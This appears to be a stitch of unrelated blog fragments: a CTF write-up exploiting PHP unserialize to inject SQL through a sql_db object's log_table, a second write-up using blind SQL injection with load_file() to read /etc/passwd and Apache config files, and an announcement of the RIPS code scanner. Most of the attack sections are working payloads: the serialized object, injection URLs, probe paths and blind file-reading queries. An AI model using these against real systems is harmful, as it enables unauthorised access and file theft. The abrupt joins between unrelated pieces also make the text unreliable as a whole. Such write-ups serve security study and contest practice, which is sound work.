	$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this->escape($this->log_table);
	$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
	$this->sql_query($query);
}

So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?

The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().

When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.

To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:

INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become:

INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')

which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.

<?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this->persistency = false;
		$this->user = 'pigs';
		$this->password = 'pigs';
		$this->server = 'localhost';
		$this->dbname = 'pigs';
		$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' => 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?>

Now we can simply save the serialized payload into a file and upload it.

a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}

The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.

function printGold()
{
	global $db;
	
	$name = $db->escape($_POST['name']);
	$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
	if($db->sql_numrows($result) > 0)
	{
		$row = $db->sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}

The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149

This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly

Update: there is another writeup for this challenge in french available here

/level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/**/0x25726F6F7425/**/limit/**/1)=0x59

Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with load_file() worked at all and tried to read /etc/passwd:

/level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764))

Since the webpage with id=1 was displayed the and condition must have been evaluated to true which means that the file could be read (load_file() returns null if the file can not be read). Before reading the PHP files I needed to find the webserver configuration file to find out where the DocumentRoot was configured. I used the same query as above to check for the existence of the following apache config files:

$paths = array( 
"/etc/passwd", 
"/etc/init.d/apache/httpd.conf", 
"/etc/init.d/apache2/httpd.conf", 
"/etc/httpd/httpd.conf", 
"/etc/httpd/conf/httpd.conf", 
"/etc/apache/apache.conf", 
"/etc/apache/httpd.conf", 
"/etc/apache2/apache2.conf", 
"/etc/apache2/httpd.conf", 
"/usr/local/apache2/conf/httpd.conf", 
"/usr/local/apache/conf/httpd.conf", 
"/opt/apache/conf/httpd.conf", 
"/home/apache/httpd.conf", 
"/home/apache/conf/httpd.conf", 
"/etc/apache2/sites-available/default", 
"/etc/apache2/vhosts.d/default_vhost.include");

update: There is an official list for Apache. Very useful.

Webpage with id=1 was displayed for the file /etc/httpd/httpd.conf thus revealing that this file existed and could be read.

Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. Since the length of the file was more than 10000 chars this would have taken way too long.
I decided to give little shots at the configuration file trying to hit the DocumentRoot setting or a comment nearby that identifies my current position. Each shot bruteforced 10 alphanumerical characters:

/level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E636F6E66)),$k,1)=0x$char

I compared the few bruteforced characters to a known apache configuration file trying to map the characters to a common configuration comment. This worked for most of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the DocumentRoot setting once another setting had been identified. I bruteforced only alphanumerical strings to save time. For example the bruteforced string “dulesthoselisted” could be mapped to the comment “modules (those listed by `httpd -l’)” and so on.
After the 10th shot I luckily hit the DocumentRoot setting comment at offset 7467 and after this it was possible to calculate the correct offset for the beginning of the DocumentRoot setting and I could retrieve “srvhttpdhtdocs” (DocumentRoot: /srv/httpd/htdocs/).

While that worked fine during the hectics of the CTF and was better than a bruteforce on the whole configuration file, I thought about it again yesterday and thought that this technique was plain stupid .

If you know what you are looking for in a file (and mostly you do) you can easily find the correct offset with LOCATE(substr,str[,pos]) which will return the offset of a given substring found in a string. The following query instantly returns the next 10 characters after the DocumentRoot setting:

substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)

and can then be bruteforced easily:

mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)),$k,1)=0x$char

No magic here, but a helpful combination of mysql build in functions when reading files blindly.

Before using it I recommend reading the paper (HTML, PDF) I submitted to be aware of the limitations RIPS has, either due to static source code analysis or because of my implementation of it.
In short: RIPS is not ready yet for firing it on big code trees like wordpress, but I think it does a good job for home-made or smaller open source apps and in assisting code reviews. I hope I will find time in the future to improve RIPS and I am honestly thankful for any feedback, bugreports, code improvements or feature requests.

[download RIPS]

Update 04.07.10: A new version 0.31 has been released.
Update 13.08.10: A new version 0.32 has been released.
Update 11.09.10: A new version 0.33 has been released.